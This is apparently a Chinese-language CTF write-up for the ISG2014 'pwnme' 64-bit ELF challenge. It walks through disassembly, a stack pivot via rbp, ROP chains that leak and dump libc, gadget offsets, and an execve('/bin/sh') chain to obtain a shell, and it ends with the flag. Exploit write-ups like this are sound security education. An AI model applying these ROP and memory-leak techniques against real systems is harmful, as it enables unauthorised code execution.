almost 4 years ago

64位ELF binary,漏洞很明顯但考驗利用能力,stack 不可執行要 ROP。
一開始在 .text 裡沒有仔細找 gadget,導至 exploit 變得很複雜...

.text:00000000004005BD                 push    rbp
.text:00000000004005BE                 mov     rbp, rsp
.text:00000000004005C1                 sub     rsp, 10h
.text:00000000004005C5                 mov     edi, 3Ch        ; seconds
.text:00000000004005CA                 call    _alarm
.text:00000000004005CF                 mov     edx, 13h        ; n
.text:00000000004005D4                 mov     esi, offset aPwnMeIfYouCan
.text:00000000004005D9                 mov     edi, 1          ; fd
.text:00000000004005DE                 call    _write
.text:00000000004005E3                 lea     rax, [rbp-0x10]
.text:00000000004005E7                 mov     edx, 100h       ; nbytes
.text:00000000004005EC                 mov     rsi, rax        ; buf
.text:00000000004005EF                 mov     edi, 0          ; fd
.text:00000000004005F4                 call    _read
.text:00000000004005F9                 mov     eax, 0
.text:00000000004005FE                 leave
.text:00000000004005FF                 retn

利用 .text:4005E3 ,控制好 rbp 則可以對任意位址寫入;
.text:4005D9 則可以用來洩漏內存 (rsi 的值先由 .text:4005E3 設好)。
要注意 rsp 會被 leave 破壞掉,因此必須適當的控制 rbp,使得棧的內容保持在可控狀態,ROP 鍊才能繼續下去。
洩漏 read@libc 的 ROP 如下,

send("A"*16 +
      Q(0x601040) + //rbp main
      Q(0x4005E3))  //ret main -> (1)
send( Q(0x601048) + //.got:0x601030 rbp (2)
      Q(0x4005D9) + //.got:0x601038 ret (2) -> (3)
      Q(0x601030) + //.got:0x601040 rbp (1)
      Q(0x4005E3))  //.got:0x601048 ret (1) -> (2)
send("A")   //送點東西,略過 (2) 裡的 read

(1) 中 rbp = 0x601040, 讀取之後的 ROP chain 到 0x601030
(2) 中 rbp = 0x601030, rsp = 0x601040, 這步驟是為了設好 rsi = 0x601020
(3) 中 rbp = 0x601040, rsp = 0x601030, write 洩漏 0x601020 開始的內容

之後 (3) 後半段的 read 讀取 ROP chain 到 0x601030,(3) 執行到 ret 後便會接著繼續跳轉。
首先接續 ROP 如下,目地是大量洩漏 libc 裡的內容,用來尋找有用的 ROP gadget。
利用的是 .text:40065A + .text:400640,可以設定 rsi, rdx,rdi 留給 write 前的 mov edi, 1 就行了。

// 此為前一步讀進來的 ROP chain,位址在 .got:[601030:601070],開始時 rsp = 0x601030
send( Q(0x40065A) +          // ret
      Q(0) +                 // rbx
      Q(0) +                 // rbp
      Q(0x601070) +          // r12
      Q(dump_size) +         // r13 -> rdx
      Q(read@lib + offset) + // r14 -> rsi
      Q(0) +                 // r15
      Q(0x400640) +          // ret 
      Q(0x4005D9))           // .got:601070 - 給 call qword ptr [r12+rbx*8] 跳的位址

Dump libc 後找到一些重要的 gadget:

  • pop_rax_ret = libc_read + 52203
  • pop_rdx_ret = libc_read + 117061
  • pop_rdi_ret = libc_read + 315
  • pop_rsi_ret = libc_read + 6786
  • syscall_ret = libc_read + 61685

這之後就簡單了,利用 ROP 做出 sys_execve( "/bin/sh", {"/bin/sh", 0}, {0} ) 即得 shell。
中間遇到一個小問題:sys_execve 時會 crash 但 sys_write 卻不會,後來猜測是 rsp 會超出可寫段 0x601000,
先把 rsp 移到 0x601800 後就成功了。

ISG{nicejob_you_got_me_pwned}

Exploit source code: isg2014 - pwnme.py

← BCTF 小菜一碟 Writeup ISG2014 哼! →